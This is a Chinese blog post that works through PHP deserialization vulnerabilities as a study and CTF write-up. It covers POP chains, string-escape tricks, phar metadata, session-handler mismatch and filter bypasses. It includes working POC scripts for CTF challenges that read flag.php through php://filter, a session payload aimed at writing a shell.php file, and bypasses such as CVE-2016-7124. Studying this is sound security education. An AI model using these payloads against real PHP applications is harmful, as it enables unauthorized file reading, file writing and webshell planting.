PHP反序列化漏洞学习总结

× 文章目录
  1. 1. 前言
  2. 2. 预备知识点
    1. 2.1. 序列化与反序列化
      1. 2.1.1. 基本概念
      2. 2.1.2. 基本函数
        1. 2.1.2.1. 序列化函数serialize()
        2. 2.1.2.2. 反序列化函数unserialize()
    2. 2.2. 访问控制修饰符
    3. 2.3. 魔术方法
  3. 3. 漏洞原理
  4. 4. POP链
    1. 4.1. 概念
    2. 4.2. 利用过程
    3. 4.3. 例题解析
      1. 4.3.1. 第一题
        1. 4.3.1.1. 源码
        2. 4.3.1.2. 源码分析
        3. 4.3.1.3. 利用POC
      2. 4.3.2. 第二题 [MRCTF2020]Ezpop
        1. 4.3.2.1. 源码
        2. 4.3.2.2. 源码分析
        3. 4.3.2.3. 利用POC
      3. 4.3.3. 第三题 [网鼎杯 2020 青龙组]AreUSerialz
        1. 4.3.3.1. 源码
        2. 4.3.3.2. 源码分析
        3. 4.3.3.3. 利用POC
  5. 5. 字符逃逸
    1. 5.1. 预备知识点
    2. 5.2. 漏洞原理
    3. 5.3. 字符增加的逃逸
      1. 5.3.1. 源码
      2. 5.3.2. 分析
      3. 5.3.3. payload
      4. 5.3.4. 结果
    4. 5.4. 字符减少的逃逸
      1. 5.4.1. 源码
      2. 5.4.2. 分析
      3. 5.4.3. payload
      4. 5.4.4. 结果
    5. 5.5. 例题解析
      1. 5.5.1. 第一题 [安洵杯 2019]easy_serialize_php
        1. 5.5.1.1. 源码
        2. 5.5.1.2. 源码分析
  6. 6. phar反序列化
    1. 6.1. 预备知识点
      1. 6.1.1. phar文件
      2. 6.1.2. 文件系统函数
    2. 6.2. 漏洞原理
    3. 6.3. 漏洞利用
      1. 6.3.1. 利用条件
      2. 6.3.2. 绕过waf
  7. 7. Session反序列化漏洞
    1. 7.1. 预备知识点
      1. 7.1.1. PHP处理器不同的序列化方式
      2. 7.1.2. 与session有关的php.ini配置项
    2. 7.2. 漏洞原理
    3. 7.3. 举个例子
  8. 8. 绕过姿势
    1. 8.1. 绕过__wakeup()魔术方法（CVE-2016-7124）
      1. 8.1.1. 影响版本
      2. 8.1.2. 利用方法
    2. 8.2. 绕过正则表达式
      1. 8.2.1. 利用方法
    3. 8.3. 绕过关键词过滤
      1. 8.3.1. 利用原理
      2. 8.3.2. 利用方法
    4. 8.4. 绕过变量过滤
      1. 8.4.1. 利用原理
      2. 8.4.2. 适用场景
    5. 8.5. 绕过is_valid()检测
      1. 8.5.1. 利用原理
      2. 8.5.2. 利用方法

前言

PHP反序列化漏洞也叫PHP对象注入，是一个非常常见的漏洞，这种类型的漏洞虽然有些难以利用，但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测，导致反序列化过程可以被恶意控制，进而造成代码执行、getshell等一系列不可控的后果。

预备知识点

序列化与反序列化

基本概念

序列化：将对象转换为字节序列的过程

反序列化：把字节序列还原成对象的过程

基本函数

序列化函数serialize()

serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在，__sleep()方法会先被调用，然后才执行序列化操作。如果没有则默认序列化所有属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
    class D0g3{
    	public $member = 'oops';
        public $sex = 'male';
        public $age = '22';
        public function __sleep(){
            return array('member','sex');
        }
	}
	$D0g3er = new D0g3();
	$D0g3er->member = 'smallwolf';
    $D0g3er->sex = 'male';
    $D0g3er->age = '19';
	echo serialize($D0g3er);
?>
    
-----------------结果分界线-------------------   
    
O:4:"D0g3":2{s:6:"member";s:9:"smallwolf";s:3:"sex";s:4:"male";}
O 代表对象 如果序列化数组则为A
4 代表类的名字占4个字节
D0g3 类名
2 代表2个属性
s 代表字符串
6 代表属性名长度
member 属性名
s:9:"smallwolf" 分别代表字符串 属性值长度 属性值
<!-- __sleep()方法使得member sex属性序列化 而age没有被序列化-->
反序列化函数unserialize()

unserialize()函数会检查类中是否存在一个__wakeup()魔术方法。如果存在，__wakeup()方法会先被调用。然后才执行反序列化操作。如果没有则默认序列化所有属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    class D0g3{
    	public $member = 'oops';
        public $sex = 'male';
        public $age = '22';
        public function __wakeup(){
            $this->age = '99';
        }
	}
	$D0g3er = new D0g3();
	$D0g3er->member = 'smallwolf';
    $D0g3er->sex = 'male';
    $D0g3er->age = '19';
	$me = serialize($D0g3er);
	var_dump(unserialize($me));
?>

-----------------结果分界线-------------------   
    
object(D0g3)#2(3){
    ["member"]=>
    string(9) "smallwolf"
    ["sex"]=>
    string(4) "male"
    ["age"]=>
    string(2) "99"
}

访问控制修饰符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public(公有的)：类中的成员将没有访问限制，所有的外部成员都可以访问（读和写）这个类成员(包括成员属性和成员方法)。如果类的成员没有指定成员访问修饰符，将被视为public。

protected(受保护的)：被定义为 protected 的成员不能被该类的外部代码访问，但该类的子类具有访问权限。
该属性被序列化时属性值会变成%00*%00属性名

private(私有的)：被定义为 private 的成员，允许同一个类里的所有成员访问，但对于该类的外部代码和子类都不允许访问。
该属性被序列化时属性值会变成%00类名%00属性名

--------------------------------------------------举个例子---------------------------------------------------
    
<?php
    class D0g3{
    	public $member = 'oops';
        protected $sex = 'male';
        private $age = '22';
	}
	$D0g3er = new D0g3();
	$D0g3er->member = 'smallwolf';
    $D0g3er->sex = 'male';
    $D0g3er->age = '19';
	echo serialize($D0g3er);
?>
    
    O:4:"D0g3":3{s:6:"member";s:9:"smallwolf";s:6:"*sex";s:4:"male";s:9:D0g3age;s:2:"19";}
	s:6:"*sex" //*前后出现了两个%00也就是空白符 一个%00长度为一 所以序列化后 该属性长度为6
	s:9:"D0g3" //D0g3前后也就是类名前后出现两个%00 所以长度为9
    
        
简单计算法
    protected序列化后为原字节数+3，属性名前+%00*%00
    private序列化后为原字节数+2+类名长度，属性名前+%00类名%00

类内部 继承关系类内部 类外部
public yes yes yes
protected yes yes no
private yes no no

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct()    //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__wakeup()       //使用unserialize时触发
__sleep()        //使用serialize时触发
__destruct()     //对象被销毁时触发
__call()         //当程序调用到当前类中未声明或没权限调用的方法时,就会调用__call方法。
__callStatic()   //在静态上下文中调用不可访问的方法时触发
__get()          //访问不存在的成员变量时调用
__set()          //设置不存在的成员变量时调用
__isset()        //在不可访问的属性上调用isset()或empty()触发
__unset()        //在不可访问的属性上使用unset()时触发
__toString()     //把类当作字符串使用时触发
__invoke()       //当尝试以调用函数的方式调用一个对象时触发

漏洞原理

在反序列化时，传入参数可控，程序没有对用户输入的反序列化字符串进行检测，且魔术方法中存在危害函数，导致反序列化过程可以被恶意控制，进而造成代码执行，getshell等一系列不可控的后果。

POP链

概念

通过用户可控的反序列化，以可触发的魔术方法为出发点，魔术方法中的函数在其他类中存在同名函数，或者通过传递、关联等可以调用的其他执行敏感操作的函数，然后传递参数执行敏感操作。

利用过程

  1. 寻找可控反序列化点
  2. 寻找类中可利用的危险函数
  3. 寻找可以相互出发从而调用的魔术方法
  4. 形成一条连续的调用链

例题解析

第一题

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class Test1{
    protected $obj;

    function __construct(){

        $this->obj = new Test3;

    }

    function __toString(){

        if (isset($this->obj)) return $this->obj->Delete();

    }

}

class Test2{  
    public $cache_file;

    function Delete(){
        $file = “/var/www/html/cache/tmp/{$this->cache_file}”;

        if (file_exists($file)){

            @unlink($file);
        }

        return 'I am a evil Delete function';

    }

}

class Test3{

    function Delete(){

        return 'I am a safe Delete function';

    }

}

$user_data = unserialize($_GET['data']);

echo $user_data;

?>
源码分析

观察源码时一般来说首先看最下面的代码，操作是反序列化get到的参数data，然后执行echo $user_data。

总体浏览下来我们肯定是要利用test2中的delete方法，那么就需要通过test1中__tostring()魔术方法，并且利用test1中的__construct()魔术方法将$obj变量赋值为test2类的实例化对象。

所以我们的逻辑链就是

test2.delete—>test1.__tostring()—>test1.__construct()new test2

利用POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class Test1{
	protected $obj
    function __construct(){

    $this->obj = new Test2;

    }

}

class Test2{  
    public $cache_file='xxxxxxxxxxxxxxxxxxxxxxxxx';

    }


$pop = new Test1();
echo urlencode(serialize($pop))

第二题 [MRCTF2020]Ezpop

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
源码分析

由于flag在flag.php中，所以我们需要利用Modifier类中的append方法包含flag.php。而调用append方法又需要__invoke()魔术方法，它的触发条件是尝试以调用函数的方式调用一个对象，这说的是Test类中的__get()魔术方法，然后这个的触发条件是访问不存在的成员变量，说明是需要使用到show里面的tostring方法(打得我有点晕了),根据tostring触发条件可知我们需要利用show的wakeup函数。

把上面说的整理成一条逻辑链吧

Modifier.__invoke()—>Test.__get()—>Show.__toString()—>Show.__wakeup()

我们的想实现的就是创建一个show对象a，在被序列化的时候会调用wakeup函数，如果a的source属性是一个对象且为show类，那么就会调用show类的方法__tostring()，查看a

->source->str->source属性，如果source属性不存在的话，就会调用__get方法，所以我们可以将a

->source->str设置为test类，因为test类中不存在source属性，所以就会接下来调用__get方法，这是我们将其的属性p设置为一个类Modifier就会触发__invoke魔术方法，调用append方法包含这个$var。

利用POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Modifier{
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php"; \\采用filter伪协议的方式绕过黑名单过滤并读取flag.php
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str=new Test();
    }
}

class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$hack=new Show();  
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));

第三题 [网鼎杯 2020 青龙组]AreUSerialz

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
源码分析

东西很多，一个一个来分析。

首先是这个is_valid函数要求我们输入的东西的ascii码在32到125之间。

接着研究一下FileHandler类，顺着慢慢看下去。constuct函数我们先不管，因为我们不需要新建一个对象。顺着执行的顺序我们会来到__destruct()函数。

__destruct()函数执行逻辑是先判断op的值是否强等于“2”，如果是的话就将op的值赋为“1“。不是就跳过。然后将content的值赋为空。然后跳到process()函数。

process()函数需要检测op的值是否弱等于“2”，如果就将read()函数的返回值赋给res，最后输出它。

read()函数检测是否存在filename，将filename的内容赋给res，然后返回。

利用POC
1
2
3
4
5
6
7
8
<?php

class FileHandler{
    public $op = 2;
    public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public $content;
}
 echo serialize(new FileHandler);

字符逃逸

预备知识点

  1. php在反序列化时，对类中不存在的属性也进行反序列化

  2. php在反序列化时，底层代码是以;作为字段的分隔，以}作为结尾，并且根据长度判断内容

  3. 长度不对应时会报错

  4. 不符合序列化规则的代码部分不会被反序列化成功

    eg:

    1
    a:2:{i:0;s:7:"purplet";i:1;s:5:"aaaaa";}needless;    \\needless就不会被反序列化到

漏洞原理

本质上就是自己通过构造payload满足了序列化规则，利用前面字符由于str_replace()而字符增多或减少，提前闭合，吞掉了后面的字符。

字符增加的逃逸

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
    $filter = '/c/';
    return preg_replace($filter,'bbb',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

分析

假如我们想要把age修改为19，那么我们需要构造的语句是“;i:1;s:2:“19”;}，语句的长度为16个字符，其次就是这个filter()函数执行的时候，会将一个a替换为三个b，这样就造成了字符增多的情况。如果我们构造8个a，那么会产生24个b，减去构造的8个a，就可以让我们逃逸16个字符，也就是我们构造的语句。

这里面利用了预备知识点的第四点，后面的语句会被忽略掉

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
    $filter = '/c/';
    return preg_replace($filter,'bbb',$string);
}
$username = 'cccccccc";i:1;s:2:"19";}';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

结果

1
2
3
4
5
6
7
8
string(55) "a:2:{i:0;s:24:"cccccccc";i:1;s:2:"19";}";i:1;s:2:"10";}"
string(71) "a:2:{i:0;s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";i:1;s:2:"19";}";i:1;s:2:"10";}"
array(2) {
  [0]=>
  string(24) "bbbbbbbbbbbbbbbbbbbbbbbb"
  [1]=>
  string(2) "19"
}

字符减少的逃逸

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

分析

filter的规则是两个p会变成一个w，如果我们上传pp，序列化后结果为s:2:”w”，这边就会逃逸一个字符，不过跟字符增多的不同，我们需要在下一个变量中进行修改。首先我们需要构造;i:1;s:2:”19”;}，不过要注意的是前面有个双引号需要我们闭合，里面随便闭合一些东西就可以。所以我们最终的payload是x”;i:1;s:2:”19”;}。

这边计算起来较为复杂，所以套用网上给的教程分为3步走

  1. 利用Demo中的代码将age的值修改为想要修改的数值，得到age处序列化的值为;i:1;s:2:”19”;}，那么把这段数值再次传入Demo代码的age处（该值即为最终的逃逸代码），而此时username传递的p的数值无法确定，先可随意构造，查看结果

    1
    2
    3
    string(32) "a:2:{i:0;s:2:"pp";i:1;s:2:"19";}"
    string(31) "a:2:{i:0;s:2:"W";i:1;s:2:"19";}"
    bool(false)

  2. age处传递一个任意数值和双引号进行闭合，即：再次传入age = A”;i:1;s:2:”20”;}，查看结果

    1
    2
    string(48) "a:2:{i:0;s:2:"pp";i:1;s:17:"A";i:1;s:2:"19";}";}"
    string(47) "a:2:{i:0;s:2:"W   ";i:1;s:17:"A   ";i:1;s:2:"19";}";}"

  3. 空格中的字符串是我们不需要的东西，一共有13个字符，需要把它们逃逸掉。所以我们需要构造13*2的p来逃逸

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = 'pppppppppppppppppppppppppp';
$age = 'A";i:1;s:2:"19";}';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

结果

1
2
3
4
5
6
7
8
string(73) "a:2:{i:0;s:26:"pppppppppppppppppppppppppp";i:1;s:17:"A";i:1;s:2:"19";}";}"
string(60) "a:2:{i:0;s:26:"WWWWWWWWWWWWW";i:1;s:17:"A";i:1;s:2:"19";}";}"
array(2) {
  [0]=>
  string(26) "WWWWWWWWWWWWW";i:1;s:17:"A"
  [1]=>
  string(2) "19"
}

例题解析

第一题 [安洵杯 2019]easy_serialize_php

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

//flag in d0g3_f1ag.php
源码分析

这边省去其他的一些步骤，咱们能做的就是利用extract()函数post上数据，利用字符逃逸将我们需要的对象反序列化上去，

还是按照之前总结的来走。首先我们需要构造的东西是s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}，这边我们考虑post上数组的键为flagphp，这样按照过滤的原则会逃逸出7个字符。咱们在自己的vscode反序列化先实验一下。反序列化后结果为s:7:"";s:39:"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}，显然还缺点东西，我们加上;s:1:"a";再尝试一下，成功得到说$flag = ‘flag in /d0g3_fllllllag’;。这边base64编码一下跟前面的那个php一毛一样，一样的步骤获得flag。

phar反序列化

预备知识点

phar文件

文件结构

  1. stub

    可以理解为一个标志，格式为xxx，前面内容不限（可以伪造文件头啊啥的），但必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件。

  2. manifest

    phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data。

  3. content

    被压缩文件的内容

  4. signature（可空）

    签名，在文件末尾

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //实例一个phar对象供后续操作 后缀名必须为phar
    $phar->startBuffering(); //开始缓冲Phar写操作
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

文件系统函数

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化。

受影响的函数见链接

漏洞原理

phar文件会以序列化的形式存储用户自定义的meta-data，在一些文件操作函数执行的参数可控的情况下，参数部分我们利用Phar伪协议，可以不依赖unserialize()直接进行反序列化操作，在读取phar文件的数据时反序列化meta-data，达成我们的操作目的。

漏洞利用

利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

绕过waf

php识别phar文件是通过其文件头的stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

Session反序列化漏洞

预备知识点

PHP处理器不同的序列化方式

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符＋键名＋经过serialize() 函数反序列处理的值
php 键名＋竖线＋经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式

与session有关的php.ini配置项

1
2
3
4
session.save_path=""  --设置session的存储路径 默认在/tmp
session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

漏洞原理

不同页面选择的php处理器不同，序列化和反序列化的方式也不同，可以根据不同处理器处理数据的特性构造危险代码。

举个例子

存储session页面

1
2
3
4
5
6
/*session.php*/
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['nice'] = $_GET['nice'];
?>

可利用页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*test.php*/
<?php 
ini_set('session.serialize_handler','php');
session_start();

class hpdoger{
    var $a;

    function __destruct(){
        $fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
}
?>

利用语句

session.php?smallwolf=|O:9:”smallwolf”:1:{s:1:”a”;s:17:”“;}”;}

此时/tmp目录生成的session文件内容：

1
a:1:{s:9:"smallwolf";s:54:"|O:9:"smallwolf":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

然后再访问test.php时反序列化已存储的session，新的php处理方式会把“|”后的值当作KEY值再serialize()，相当于我们实例化了这个页面的hpdoger类，那么就会触发__destruct()函数。

绕过姿势

绕过__wakeup()魔术方法（CVE-2016-7124）

影响版本

  1. PHP5 < 5.6.25

  2. PHP7 < 7.0.10

利用方法

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

绕过正则表达式

利用方法

根据正则表达式的实际语句进行修改（通常是在类名长度前加上一个+），使其无法匹配到我们构造的语句

举个例子

1
/[oc]:\d+:/i 如果我们输入O:4则会被匹配到，而如果我们输入O:+4则不会被匹配到

绕过关键词过滤

利用原理

反序列化中为了避免信息丢失，使用大写的S支持字符串的编码。

利用方法

用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示

举个例子

如果user是黑名单中的关键词，我们构造s:4:”user”;会被waf掉，于是我们可以构造S:4:”use\72”;来绕过

绕过变量过滤

利用原理

在 php中如果我们使用 & 对变量A的值指向变量B，这个时候是属于浅拷贝，当变量B改变时，变量A也会跟着改变。

适用场景

在被反序列化的对象的某些变量被过滤了（比如在php 7.0.10以上的版本中无法绕过__wakeup()魔术方法时），但是其他变量可控的情况下，就可以利用浅拷贝来绕过过滤。

绕过is_valid()检测

利用原理

php版本7.1+，对属性的类型不敏感。

利用方法

由于is_valid()函数会检测传入的参数ascii码是否在32到125之间，而protected和private属性经过序列化都存在不可打印字符在32到125之外，利用php版本7.1+对类的属性类型不敏感的特点，我们可以将protected类型更改为public以消除不可打印字符

赏

感谢请我喝奶茶

支付宝

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

我不是一个很有野心的人<br>理想的生活不是赚大钱也不是要出名<br>只想有那么一个地方是属于我的<br>想自己一个人或是和爱人一同布置它<br>想那个地方能有一只可爱的柴柴<br>想醒来第一眼就能看到我所爱的人<br>想难过时能有那么一个怀抱可以投入<br>想同其一道看电影<br>看着银幕上的俊男靓女终成一对而相视一笑<br>想同其一道读书<br>读到有意思的地方拍拍对方说“喂，你看”<br>想同其一道听音乐<br>从蓝调到摇滚从乡村到流行<br>最想告诉其张晓风的一句话<br>树在，山在，大地在，岁月在，我在，你还要一个怎样更好的世界。<br>我知道这不算奢求的生活并不容易<br>所以还要努力啊